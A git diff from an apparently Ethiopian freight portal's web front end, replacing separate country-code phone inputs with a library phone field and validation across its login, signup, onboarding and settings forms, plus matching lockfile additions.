companyEmail: z.string().email("Invalid email address"), - companyPhone: z.string().min(1, "Company phone is required"), - companyPhoneCountryCode: z.string().min(1, "Country code is required"), + companyPhone: z + .string() + .min(1, "Company phone is required") + .refine(isValidPhone, "Enter a valid phone number"), companyLocation: z.string().min(1, "Location is required"), companyAddress: z.string().min(1, "Address is required"), tinNumber: z.string().length(10, "TIN must be exactly 10 digits"), vatNumber: z.string().min(1, "VAT number is required").length(10, "VAT number must be exactly 10 digits"), fanNumber: z.string().length(16, "FAN must be exactly 16 digits"), contactPersonName: z.string().min(1, "Contact person name is required"), - contactPersonPhone: z.string().min(1, "Contact person phone is required"), - contactPersonPhoneCountryCode: z.string().min(1, "Country code is required"), + contactPersonPhone: z + .string() + .min(1, "Contact person phone is required") + .refine(isValidPhone, "Enter a valid phone number"), generalManagerName: z.string().min(1, "GM name is required"), generalManagerEmail: z.string().email("Invalid GM email"), - generalManagerPhone: z.string().min(1, "GM phone is required"), - generalManagerPhoneCountryCode: z.string().min(1, "Country code is required"), + generalManagerPhone: z + .string() + .min(1, "GM phone is required") + .refine(isValidPhone, "Enter a valid phone number"), poaName: z.string().optional(), - poaPhone: z.string().optional(), - poaPhoneCountryCode: z.string().optional(), + poaPhone: z + .string() + .optional() + .refine((v) => !v || isValidPhone(v), "Enter a valid phone number"), poaAddress: z.string().optional(), poaEmail: z.string().optional(), poaLocation: z.string().optional(), @@ -57,8 +64,8 @@ const forwarderSchema = z.object({ type FormData = z.infer; const stepFields: Record = { - company: ["companyName", "companyEmail", "companyPhone", "companyPhoneCountryCode", "companyLocation", "companyAddress", "tinNumber", "vatNumber", "fanNumber"], - personnel: ["contactPersonName", "contactPersonPhone", "contactPersonPhoneCountryCode", "generalManagerName", "generalManagerEmail", "generalManagerPhone", "generalManagerPhoneCountryCode"], + company: ["companyName", "companyEmail", "companyPhone", "companyLocation", "companyAddress", "tinNumber", "vatNumber", "fanNumber"], + personnel: ["contactPersonName", "contactPersonPhone", "generalManagerName", "generalManagerEmail", "generalManagerPhone"], poa: [], documents: [], additional: [], @@ -68,7 +75,7 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { return { companyName: data.companyName, companyEmail: data.companyEmail, - companyPhone: `${data.companyPhoneCountryCode}${data.companyPhone}`, + companyPhone: data.companyPhone, companyLocation: data.companyLocation, companyAddress: data.companyAddress, tin: data.tinNumber, @@ -76,12 +83,12 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { fanNumber: data.fanNumber, attributes: { contactPersonName: data.contactPersonName, - contactPersonPhone: `${data.contactPersonPhoneCountryCode}${data.contactPersonPhone}`, + contactPersonPhone: data.contactPersonPhone, generalManagerName: data.generalManagerName, generalManagerEmail: data.generalManagerEmail, - generalManagerPhone: `${data.generalManagerPhoneCountryCode}${data.generalManagerPhone}`, + generalManagerPhone: data.generalManagerPhone, poaName: data.poaName || undefined, - poaPhone: data.poaPhone && data.poaPhoneCountryCode ? `${data.poaPhoneCountryCode}${data.poaPhone}` : undefined, + poaPhone: data.poaPhone || undefined, poaAddress: data.poaAddress || undefined, poaEmail: data.poaEmail || undefined, poaLocation: data.poaLocation || undefined, @@ -96,7 +103,7 @@ function stepPayload(step: ForwarderStep, d: FormData): Partial({ + const { register, control, handleSubmit, trigger, watch, formState: { errors } } = useForm({ resolver: zodResolver(forwarderSchema), defaultValues: { - companyName: "", companyEmail: "", companyPhone: "", companyPhoneCountryCode: "+251", + companyName: "", companyEmail: "", companyPhone: "", companyLocation: "", companyAddress: "", tinNumber: "", vatNumber: "", fanNumber: "", - contactPersonName: "", contactPersonPhone: "", contactPersonPhoneCountryCode: "+251", - generalManagerName: "", generalManagerEmail: "", generalManagerPhone: "", generalManagerPhoneCountryCode: "+251", - poaName: "", poaPhone: "", poaPhoneCountryCode: "+251", poaAddress: "", poaEmail: "", poaLocation: "", + contactPersonName: "", contactPersonPhone: "", + generalManagerName: "", generalManagerEmail: "", generalManagerPhone: "", + poaName: "", poaPhone: "", poaAddress: "", poaEmail: "", poaLocation: "", }, // Rehydrate from previously-saved data (RHF re-syncs when `values` change). values: rehydrate ? toFormValues(rehydrate) : undefined, @@ -383,12 +379,11 @@ export default function ForwarderForm({ error={errors.companyEmail?.message} {...register("companyEmail")} /> - @@ -441,12 +436,11 @@ export default function ForwarderForm({ error={errors.contactPersonName?.message} {...register("contactPersonName")} /> - @@ -467,12 +461,11 @@ export default function ForwarderForm({ error={errors.generalManagerEmail?.message} {...register("generalManagerEmail")} /> - @@ -497,11 +490,9 @@ export default function ForwarderForm({ error={errors.poaEmail?.message} {...register("poaEmail")} /> - diff --git a/apps/edr-freight-web/portal/src/pages/accounts/LoginPage.tsx b/apps/edr-freight-web/portal/src/pages/accounts/LoginPage.tsx index 458843a57..ac13f4c59 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/LoginPage.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/LoginPage.tsx @@ -1,9 +1,12 @@ import { type FormEvent, useState } from "react"; import { ChevronDown, Eye, EyeOff, Mail, Smartphone } from "lucide-react"; import { useLocation, useNavigate } from "react-router-dom"; +import RPNInput from "react-phone-number-input"; +import "react-phone-number-input/style.css"; import useAuth from "@/hooks/useAuth"; import AuthShell, { fieldClass, primaryButtonClass } from "@/components/auth/AuthShell"; +import "@/components/phone-field.css"; const EDR_LOGO = "/assets/edr-logo.png"; @@ -25,7 +28,6 @@ export default function LoginPage() { const { login } = useAuth(); const [method, setMethod] = useState("email"); const [identifier, setIdentifier] = useState(""); - const [countryCode] = useState("+251"); const [password, setPassword] = useState(""); const [showPassword, setShowPassword] = useState(false); const [error, setError] = useState(null); @@ -38,11 +40,9 @@ export default function LoginPage() { setError(null); setLoading(true); try { - const loginId = - method === "email" - ? identifier - : `${countryCode}${identifier.startsWith("0") ? identifier.slice(1) : identifier}`; - const result = await login({ email: loginId, password }); + // In phone mode the identifier is already a canonical E.164 string + // (e.g. +251912345678) from the phone field; email mode passes through. + const result = await login({ email: identifier, password }); if (result.success) { const from = (location.state as { from?: { pathname: string } } | null)?.from ?.pathname; @@ -79,7 +79,10 @@ export default function LoginPage() {
setIdentifier(event.target.value)} - placeholder={currentMethod.placeholder} - disabled={loading} - className={fieldClass} - /> + {method === "phone" ? ( +
+ setIdentifier(v ?? "")} + /> +
+ ) : ( + setIdentifier(event.target.value)} + placeholder={currentMethod.placeholder} + disabled={loading} + className={fieldClass} + /> + )}
diff --git a/apps/edr-freight-web/portal/src/pages/accounts/SignupPage.tsx b/apps/edr-freight-web/portal/src/pages/accounts/SignupPage.tsx index 43a131e90..723591597 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/SignupPage.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/SignupPage.tsx @@ -1,14 +1,18 @@ import { useState } from "react"; import { zodResolver } from "@hookform/resolvers/zod"; import { ArrowRight, Check, Eye, EyeOff, X } from "lucide-react"; -import { useForm } from "react-hook-form"; +import { Controller, useForm } from "react-hook-form"; import { useNavigate } from "react-router-dom"; import { z } from "zod"; +import RPNInput from "react-phone-number-input"; +import "react-phone-number-input/style.css"; import { userType } from "@/enums/userType"; import useAuth from "@/hooks/useAuth"; import type { SignupPayload } from "@/types/auth"; import AuthShell, { fieldClass, primaryButtonClass } from "@/components/auth/AuthShell"; +import { isValidPhone } from "@/components/PhoneField"; +import "@/components/phone-field.css"; const EDR_LOGO = "/assets/edr-logo.png"; @@ -20,22 +24,13 @@ const passwordRequirements = [ { label: "One special character", test: (v: string) => /[^A-Za-z0-9]/.test(v) }, ] as const; -const ETHIOPIA_COUNTRY_CODE = "+251"; - -const isValidEthiopianMobile = (value: string) => { - const digits = value.replace(/\D/g, ""); - const normalized = digits.startsWith("0") ? digits.slice(1) : digits; - return /^9\d{8}$/.test(normalized); -}; - const userSchema = z .object({ email: z.string().email("Invalid email address"), - countryCode: z.literal(ETHIOPIA_COUNTRY_CODE), phone: z .string() .min(1, "Phone number is required") - .refine(isValidEthiopianMobile, "Enter a valid mobile number (e.g. 0912345678)"), + .refine(isValidPhone, "Enter a valid phone number"), userType: z.string(), firstName: z.object({ en: z.string().min(2, "Name is required"), am: z.string().nullable() }), lastName: z.object({ en: z.string().min(2, "Name is required"), am: z.string().nullable() }), @@ -70,12 +65,12 @@ export default function SignupPage() { register, handleSubmit, watch, + control, formState: { errors }, } = useForm({ resolver: zodResolver(userSchema), defaultValues: { email: "", - countryCode: ETHIOPIA_COUNTRY_CODE, phone: "", userType: userType.individual, firstName: { en: "", am: "" }, @@ -89,12 +84,11 @@ export default function SignupPage() { setError(null); setLoading(true); try { - const digits = data.phone.replace(/\D/g, ""); - const normalizedPhone = digits.startsWith("0") ? digits.slice(1) : digits; const payload: SignupPayload = { email: data.email, username: data.email, - phoneNumber: `${data.countryCode}${normalizedPhone}`, + // Already a canonical E.164 string from the phone field (e.g. +251912345678). + phoneNumber: data.phone, userType: data.userType, name: { en: `${data.firstName.en} ${data.lastName.en}`, @@ -183,31 +177,30 @@ export default function SignupPage() { - -
- - {ETHIOPIA_COUNTRY_CODE} - - { - event.target.value = event.target.value.replace(/\D/g, "").slice(0, 10); - }, - })} - /> -
+ ( +
+ field.onChange(v ?? "")} + onBlur={field.onBlur} + /> +
+ )} + /> {errorText(errors.phone?.message)}
diff --git a/apps/edr-freight-web/portal/src/pages/customers/on_boarding/DjiboutiFreightForwardingAgent.tsx b/apps/edr-freight-web/portal/src/pages/customers/on_boarding/DjiboutiFreightForwardingAgent.tsx index 93e2215a7..f7955a0c0 100644 --- a/apps/edr-freight-web/portal/src/pages/customers/on_boarding/DjiboutiFreightForwardingAgent.tsx +++ b/apps/edr-freight-web/portal/src/pages/customers/on_boarding/DjiboutiFreightForwardingAgent.tsx @@ -11,7 +11,7 @@ import { CheckCircle2, } from "lucide-react"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import { Button, @@ -37,9 +37,8 @@ const schema = z.object({ phoneNumber: z .string() - .min(1, "Phone number is required"), - - phoneCountryCode: z.string().min(1), + .min(1, "Phone number is required") + .refine(isValidPhone, "Enter a valid phone number"), // COMPANY companyName: z @@ -52,9 +51,8 @@ const schema = z.object({ companyPhone: z .string() - .min(1, "Company phone is required"), - - companyPhoneCountryCode: z.string().min(1), + .min(1, "Company phone is required") + .refine(isValidPhone, "Enter a valid phone number"), companyLocation: z .string() @@ -75,9 +73,8 @@ const schema = z.object({ representativePhone: z .string() - .min(1, "Representative phone is required"), - - representativePhoneCountryCode: z.string().min(1), + .min(1, "Representative phone is required") + .refine(isValidPhone, "Enter a valid phone number"), }); type FormData = z.infer; @@ -91,14 +88,12 @@ const stepFields: Record< "lastName", "email", "phoneNumber", - "phoneCountryCode", ], company: [ "companyName", "companyEmail", "companyPhone", - "companyPhoneCountryCode", "companyLocation", "companyAddress", ], @@ -107,7 +102,6 @@ const stepFields: Record< "representativeName", "representativeEmail", "representativePhone", - "representativePhoneCountryCode", ], }; @@ -117,6 +111,7 @@ export default function DjiboutiForwardingAgentForm() { const { register, + control, handleSubmit, trigger, formState: { errors, isSubmitting }, @@ -124,10 +119,9 @@ export default function DjiboutiForwardingAgentForm() { resolver: zodResolver(schema), defaultValues: { - phoneCountryCode: "+253", - companyPhoneCountryCode: "+253", - representativePhoneCountryCode: - "+253", + phoneNumber: "", + companyPhone: "", + representativePhone: "", }, }); @@ -280,23 +274,11 @@ export default function DjiboutiForwardingAgentForm() { /> - @@ -347,25 +329,11 @@ export default function DjiboutiForwardingAgentForm() { /> - @@ -472,25 +440,11 @@ export default function DjiboutiForwardingAgentForm() { /> - diff --git a/apps/edr-freight-web/portal/src/pages/customers/on_boarding/ImportExportOnBoarding.tsx b/apps/edr-freight-web/portal/src/pages/customers/on_boarding/ImportExportOnBoarding.tsx index 92ef7bac8..33a28f58d 100644 --- a/apps/edr-freight-web/portal/src/pages/customers/on_boarding/ImportExportOnBoarding.tsx +++ b/apps/edr-freight-web/portal/src/pages/customers/on_boarding/ImportExportOnBoarding.tsx @@ -12,7 +12,7 @@ import { CheckCircle2, } from "lucide-react"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import { Button, @@ -34,14 +34,18 @@ const onboardingSchema = z.object({ firstName: z.string().min(1, "First name is required"), lastName: z.string().min(1, "Last name is required"), email: z.string().email("Invalid email address"), - phoneNumber: z.string().min(1, "Phone number is required"), - phoneCountryCode: z.string().min(1), + phoneNumber: z + .string() + .min(1, "Phone number is required") + .refine(isValidPhone, "Enter a valid phone number"), // COMPANY companyName: z.string().min(1, "Company name is required"), companyEmail: z.string().email("Invalid email address"), - companyPhone: z.string().min(1, "Company phone is required"), - companyPhoneCountryCode: z.string().min(1), + companyPhone: z + .string() + .min(1, "Company phone is required") + .refine(isValidPhone, "Enter a valid phone number"), companyLocation: z.string().min(1, "Location is required"), companyAddress: z.string().min(1, "Address is required"), @@ -63,9 +67,8 @@ const onboardingSchema = z.object({ contactPersonPhone: z .string() - .min(1, "Contact person phone is required"), - - contactPersonPhoneCountryCode: z.string().min(1), + .min(1, "Contact person phone is required") + .refine(isValidPhone, "Enter a valid phone number"), // GENERAL MANAGER generalManagerName: z @@ -78,14 +81,15 @@ const onboardingSchema = z.object({ generalManagerPhone: z .string() - .min(1, "General manager phone is required"), - - generalManagerPhoneCountryCode: z.string().min(1), + .min(1, "General manager phone is required") + .refine(isValidPhone, "Enter a valid phone number"), // OPTIONAL POA poaName: z.string().optional(), - poaPhone: z.string().optional(), - poaPhoneCountryCode: z.string().optional(), + poaPhone: z + .string() + .optional() + .refine((v) => !v || isValidPhone(v), "Enter a valid phone number"), poaAddress: z.string().optional(), poaEmail: z.string().optional(), poaLocation: z.string().optional(), @@ -102,14 +106,12 @@ const stepFields: Record< "lastName", "email", "phoneNumber", - "phoneCountryCode", ], company: [ "companyName", "companyEmail", "companyPhone", - "companyPhoneCountryCode", "companyLocation", "companyAddress", "tinNumber", @@ -120,11 +122,9 @@ const stepFields: Record< personnel: [ "contactPersonName", "contactPersonPhone", - "contactPersonPhoneCountryCode", "generalManagerName", "generalManagerEmail", "generalManagerPhone", - "generalManagerPhoneCountryCode", ], poa: [], @@ -136,6 +136,7 @@ export default function ImportExportOnBoarding() { const { register, + control, handleSubmit, trigger, formState: { errors, isSubmitting }, @@ -143,11 +144,11 @@ export default function ImportExportOnBoarding() { resolver: zodResolver(onboardingSchema), defaultValues: { - phoneCountryCode: "+251", - companyPhoneCountryCode: "+251", - contactPersonPhoneCountryCode: "+251", - generalManagerPhoneCountryCode: "+251", - poaPhoneCountryCode: "+251", + phoneNumber: "", + companyPhone: "", + contactPersonPhone: "", + generalManagerPhone: "", + poaPhone: "", }, }); @@ -303,23 +304,11 @@ export default function ImportExportOnBoarding() { /> - @@ -370,25 +359,11 @@ export default function ImportExportOnBoarding() { /> - @@ -535,25 +510,11 @@ export default function ImportExportOnBoarding() { /> - @@ -614,25 +575,11 @@ export default function ImportExportOnBoarding() { /> - @@ -669,17 +616,10 @@ export default function ImportExportOnBoarding() { /> - diff --git a/apps/edr-freight-web/portal/src/pages/customers/on_boarding/TransportrOnBoarding.tsx b/apps/edr-freight-web/portal/src/pages/customers/on_boarding/TransportrOnBoarding.tsx index 53ea34260..20bd2249d 100644 --- a/apps/edr-freight-web/portal/src/pages/customers/on_boarding/TransportrOnBoarding.tsx +++ b/apps/edr-freight-web/portal/src/pages/customers/on_boarding/TransportrOnBoarding.tsx @@ -11,7 +11,7 @@ import { CheckCircle2, } from "lucide-react"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import { Button, @@ -29,8 +29,10 @@ const schema = z.object({ firstName: z.string().min(1), lastName: z.string().min(1), email: z.string().email(), - phoneNumber: z.string().min(1), - phoneCountryCode: z.string().min(1), + phoneNumber: z + .string() + .min(1) + .refine(isValidPhone, "Enter a valid phone number"), // TRANSPORT fanNumber: z.string().min(1), @@ -60,7 +62,6 @@ const stepFields: Record = { "lastName", "email", "phoneNumber", - "phoneCountryCode", ], transport: [ "fanNumber", @@ -78,6 +79,7 @@ export default function TransporterOnboarding() { const { register, + control, handleSubmit, trigger, watch, @@ -85,7 +87,7 @@ export default function TransporterOnboarding() { } = useForm({ resolver: zodResolver(schema), defaultValues: { - phoneCountryCode: "+251", + phoneNumber: "", }, }); @@ -161,12 +163,11 @@ export default function TransporterOnboarding() { - diff --git a/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx b/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx index f02740664..1f49baf7c 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx @@ -15,7 +15,7 @@ import { Grid, } from "@mantine/core"; import { api } from "@/services/api"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import type { ProfileResponse } from "@/types/profile"; import type { CreateCompanyPayload, @@ -27,8 +27,10 @@ import OnboardingRoleSelect from "./OnboardingRoleSelect"; export const COMPANY_PROFILE_SCHEMA = z.object({ companyName: z.string().min(1, "Company name is required"), companyEmail: z.string().email("Invalid email address"), - companyPhone: z.string().min(1, "Company phone is required"), - companyPhoneCountryCode: z.string().min(1, "Country code is required"), + companyPhone: z + .string() + .min(1, "Company phone is required") + .refine(isValidPhone, "Enter a valid phone number"), companyLocation: z.string().min(1, "Location is required"), companyAddress: z.string().min(1, "Address is required"), tinNumber: z.string().length(10, "TIN must be exactly 10 digits"), @@ -37,13 +39,6 @@ export const COMPANY_PROFILE_SCHEMA = z.object({ export type CompanyProfileFormData = z.infer; -export function splitPhone(fullPhone?: string | null) { - if (!fullPhone) return { code: "+251", number: "" }; - const match = fullPhone.match(/^(\+\d{1,3})(.*)$/); - if (match) return { code: match[1], number: match[2] }; - return { code: "+251", number: fullPhone }; -} - interface TabCompanyProfileProps { profile?: ProfileResponse; mode?: "edit" | "create"; @@ -61,12 +56,10 @@ export default function TabCompanyProfile({ const defaultValues = useMemo((): CompanyProfileFormData => { if (profile) { - const phone = splitPhone(profile.companyPhone); return { companyName: profile.companyName, companyEmail: profile.companyEmail ?? "", - companyPhone: phone.number, - companyPhoneCountryCode: phone.code, + companyPhone: profile.companyPhone ?? "", companyLocation: profile.companyLocation, companyAddress: profile.companyAddress ?? "", tinNumber: profile.tinNumber, @@ -77,7 +70,6 @@ export default function TabCompanyProfile({ companyName: "", companyEmail: "", companyPhone: "", - companyPhoneCountryCode: "+251", companyLocation: "", companyAddress: "", tinNumber: "", @@ -87,6 +79,7 @@ export default function TabCompanyProfile({ const { register, + control, handleSubmit, reset, formState: { errors, isDirty }, @@ -100,7 +93,7 @@ export default function TabCompanyProfile({ const base = { companyName: data.companyName, companyEmail: data.companyEmail, - companyPhone: `${data.companyPhoneCountryCode}${data.companyPhone}`, + companyPhone: data.companyPhone, companyLocation: data.companyLocation, companyAddress: data.companyAddress, tin: data.tinNumber, @@ -185,15 +178,11 @@ export default function TabCompanyProfile({ /> - diff --git a/apps/edr-freight-web/portal/src/pages/settings/TabContactPerson.tsx b/apps/edr-freight-web/portal/src/pages/settings/TabContactPerson.tsx index 7a2d9b931..d78add01b 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/TabContactPerson.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/TabContactPerson.tsx @@ -14,24 +14,19 @@ import { Button, } from "@mantine/core"; import { api } from "@/services/api"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import type { ProfileResponse } from "@/types/profile"; const schema = z.object({ contactPersonName: z.string().min(1, "Contact person name is required"), - contactPersonPhone: z.string().min(1, "Contact person phone is required"), - contactPersonPhoneCountryCode: z.string().min(1, "Country code is required"), + contactPersonPhone: z + .string() + .min(1, "Contact person phone is required") + .refine(isValidPhone, "Enter a valid phone number"), }); type FormData = z.infer; -function splitPhone(fullPhone?: string | null) { - if (!fullPhone) return { code: "+251", number: "" }; - const match = fullPhone.match(/^(\+\d{1,3})(.*)$/); - if (match) return { code: match[1], number: match[2] }; - return { code: "+251", number: fullPhone }; -} - interface TabContactPersonProps { profile: ProfileResponse; mode?: "edit" | "onboarding"; @@ -42,16 +37,15 @@ export default function TabContactPerson({ profile, mode = "edit", onContinue }: const queryClient = useQueryClient(); const defaultValues = useMemo((): FormData => { - const phone = splitPhone(profile.contactPersonPhone); return { contactPersonName: profile.contactPersonName ?? "", - contactPersonPhone: phone.number, - contactPersonPhoneCountryCode: phone.code, + contactPersonPhone: profile.contactPersonPhone ?? "", }; }, [profile]); const { register, + control, handleSubmit, reset, formState: { errors, isDirty }, @@ -64,7 +58,7 @@ export default function TabContactPerson({ profile, mode = "edit", onContinue }: mutationFn: (data: FormData) => api.companies.updateProfile.call({ contactPersonName: data.contactPersonName, - contactPersonPhone: `${data.contactPersonPhoneCountryCode}${data.contactPersonPhone}`, + contactPersonPhone: data.contactPersonPhone, }), onSuccess: () => { queryClient.invalidateQueries({ queryKey: api.companies.getProfile.queryKey() }); @@ -93,12 +87,11 @@ export default function TabContactPerson({ profile, mode = "edit", onContinue }: {...register("contactPersonName")} /> - diff --git a/apps/edr-freight-web/portal/src/pages/settings/TabGeneralManager.tsx b/apps/edr-freight-web/portal/src/pages/settings/TabGeneralManager.tsx index 80fb5f721..be8bef02c 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/TabGeneralManager.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/TabGeneralManager.tsx @@ -15,25 +15,20 @@ import { Grid, } from "@mantine/core"; import { api } from "@/services/api"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import type { ProfileResponse } from "@/types/profile"; const schema = z.object({ generalManagerName: z.string().min(1, "GM name is required"), generalManagerEmail: z.string().email("Invalid GM email"), - generalManagerPhone: z.string().min(1, "GM phone is required"), - generalManagerPhoneCountryCode: z.string().min(1, "Country code is required"), + generalManagerPhone: z + .string() + .min(1, "GM phone is required") + .refine(isValidPhone, "Enter a valid phone number"), }); type FormData = z.infer; -function splitPhone(fullPhone?: string | null) { - if (!fullPhone) return { code: "+251", number: "" }; - const match = fullPhone.match(/^(\+\d{1,3})(.*)$/); - if (match) return { code: match[1], number: match[2] }; - return { code: "+251", number: fullPhone }; -} - interface TabGeneralManagerProps { profile: ProfileResponse; mode?: "edit" | "onboarding"; @@ -44,17 +39,16 @@ export default function TabGeneralManager({ profile, mode = "edit", onContinue } const queryClient = useQueryClient(); const defaultValues = useMemo((): FormData => { - const phone = splitPhone(profile.generalManagerPhone); return { generalManagerName: profile.generalManagerName ?? "", generalManagerEmail: profile.generalManagerEmail ?? "", - generalManagerPhone: phone.number, - generalManagerPhoneCountryCode: phone.code, + generalManagerPhone: profile.generalManagerPhone ?? "", }; }, [profile]); const { register, + control, handleSubmit, reset, formState: { errors, isDirty }, @@ -68,7 +62,7 @@ export default function TabGeneralManager({ profile, mode = "edit", onContinue } api.companies.updateProfile.call({ generalManagerName: data.generalManagerName, generalManagerEmail: data.generalManagerEmail, - generalManagerPhone: `${data.generalManagerPhoneCountryCode}${data.generalManagerPhone}`, + generalManagerPhone: data.generalManagerPhone, }), onSuccess: () => { queryClient.invalidateQueries({ queryKey: api.companies.getProfile.queryKey() }); @@ -108,12 +102,11 @@ export default function TabGeneralManager({ profile, mode = "edit", onContinue } /> - diff --git a/apps/edr-freight-web/portal/src/pages/settings/TabPowerOfAttorney.tsx b/apps/edr-freight-web/portal/src/pages/settings/TabPowerOfAttorney.tsx index f5f9a8210..6f951ff31 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/TabPowerOfAttorney.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/TabPowerOfAttorney.tsx @@ -15,27 +15,22 @@ import { Grid, } from "@mantine/core"; import { api } from "@/services/api"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import type { ProfileResponse } from "@/types/profile"; const schema = z.object({ poaName: z.string().optional(), poaEmail: z.string().optional(), - poaPhone: z.string().optional(), - poaPhoneCountryCode: z.string().optional(), + poaPhone: z + .string() + .optional() + .refine((v) => !v || isValidPhone(v), "Enter a valid phone number"), poaLocation: z.string().optional(), poaAddress: z.string().optional(), }); type FormData = z.infer; -function splitPhone(fullPhone?: string | null) { - if (!fullPhone) return { code: "+251", number: "" }; - const match = fullPhone.match(/^(\+\d{1,3})(.*)$/); - if (match) return { code: match[1], number: match[2] }; - return { code: "+251", number: fullPhone }; -} - interface TabPowerOfAttorneyProps { profile: ProfileResponse; mode?: "edit" | "onboarding"; @@ -50,12 +45,10 @@ export default function TabPowerOfAttorney({ const queryClient = useQueryClient(); const defaultValues = useMemo((): FormData => { - const phone = splitPhone(profile.poaPhone); return { poaName: profile.poaName ?? "", poaEmail: profile.poaEmail ?? "", - poaPhone: phone.number, - poaPhoneCountryCode: profile.poaPhone ? phone.code : "+251", + poaPhone: profile.poaPhone ?? "", poaLocation: profile.poaLocation ?? "", poaAddress: profile.poaAddress ?? "", }; @@ -63,6 +56,7 @@ export default function TabPowerOfAttorney({ const { register, + control, handleSubmit, reset, formState: { errors, isDirty }, @@ -75,10 +69,7 @@ export default function TabPowerOfAttorney({ mutationFn: (data: FormData) => api.companies.updateProfile.call({ poaName: data.poaName || undefined, - poaPhone: - data.poaPhone && data.poaPhoneCountryCode - ? `${data.poaPhoneCountryCode}${data.poaPhone}` - : undefined, + poaPhone: data.poaPhone || undefined, poaEmail: data.poaEmail || undefined, poaLocation: data.poaLocation || undefined, poaAddress: data.poaAddress || undefined, @@ -124,12 +115,10 @@ export default function TabPowerOfAttorney({ /> - diff --git a/apps/edr-freight-web/portal/src/utils/phone.ts b/apps/edr-freight-web/portal/src/utils/phone.ts deleted file mode 100644 index ff75e4719..000000000 --- a/apps/edr-freight-web/portal/src/utils/phone.ts +++ /dev/null @@ -1,25 +0,0 @@ -/** - * Phone numbers are stored combined as `{countryCode}{number}` - * (e.g. "+251912345678"). These helpers split a stored value back into the two - * fields the onboarding forms use, and combine them on the way out. - */ - -const DEFAULT_COUNTRY_CODE = "+251"; - -/** Split a stored phone into { countryCode, number } for form rehydration. */ -export function splitPhone( - value: string | null | undefined, - defaultCode = DEFAULT_COUNTRY_CODE, -): { countryCode: string; number: string } { - if (!value) return { countryCode: defaultCode, number: "" }; - const trimmed = value.trim(); - // Ethiopian (+251) is the common case; otherwise take the leading "+NNN". - const match = trimmed.match(/^(\+\d{1,4})(.*)$/); - if (match) return { countryCode: match[1], number: match[2] }; - return { countryCode: defaultCode, number: trimmed }; -} - -/** Combine a country code + number into the stored phone form. */ -export function combinePhone(countryCode: string, number: string): string { - return `${countryCode}${number}`; -} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 59c0e1d63..a8a282151 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -107,6 +107,9 @@ importers: handlebars: specifier: ^4.7.9 version: 4.7.9 + libphonenumber-js: + specifier: ^1.13.6 + version: 1.13.6 minio: specifier: 7.1.3 version: 7.1.3 @@ -349,6 +352,9 @@ importers: react-hot-toast: specifier: ^2.6.0 version: 2.6.0(react-dom@19.2.6(react@19.2.6))(react@19.2.6) + react-phone-number-input: + specifier: ^3.4.17 + version: 3.4.17(react-dom@19.2.6(react@19.2.6))(react@19.2.6) react-router-dom: specifier: ^6.27.0 version: 6.30.4(react-dom@19.2.6(react@19.2.6))(react@19.2.6) @@ -5915,6 +5921,9 @@ packages: class-variance-authority@0.7.1: resolution: {integrity: sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==} + classnames@2.5.1: + resolution: {integrity: sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==} + cli-cursor@3.1.0: resolution: {integrity: sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==} engines: {node: '>=8'} @@ -6200,6 +6209,9 @@ packages: typescript: optional: true + country-flag-icons@1.6.17: + resolution: {integrity: sha512-Nmik0289ZVZSI3c7mJR/amg6DyY7Z59b0sTFSKayeX72mHfPzCPJygwJs2pYgQULzuAyWeCUgwAJ+Dq8OR+JFw==} + crc-32@1.2.2: resolution: {integrity: sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==} engines: {node: '>=0.8'} @@ -7946,6 +7958,17 @@ packages: resolution: {integrity: sha512-QQnnxNyfvmHFIsj7gkPcYymR8Jdw/o7mp5ZFihxn6h8Ci6fh3Dx4E1gPjpQEpIuPo9XVNY/ZUwh4BPMjGyL01g==} engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + input-format@0.3.14: + resolution: {integrity: sha512-gHMrgrbCgmT4uK5Um5eVDUohuV9lcs95ZUUN9Px2Y0VIfjTzT2wF8Q3Z4fwLFm7c5Z2OXCm53FHoovj6SlOKdg==} + peerDependencies: + react: '>=18.1.0' + react-dom: '>=18.1.0' + peerDependenciesMeta: + react: + optional: true + react-dom: + optional: true + internal-ip@1.2.0: resolution: {integrity: 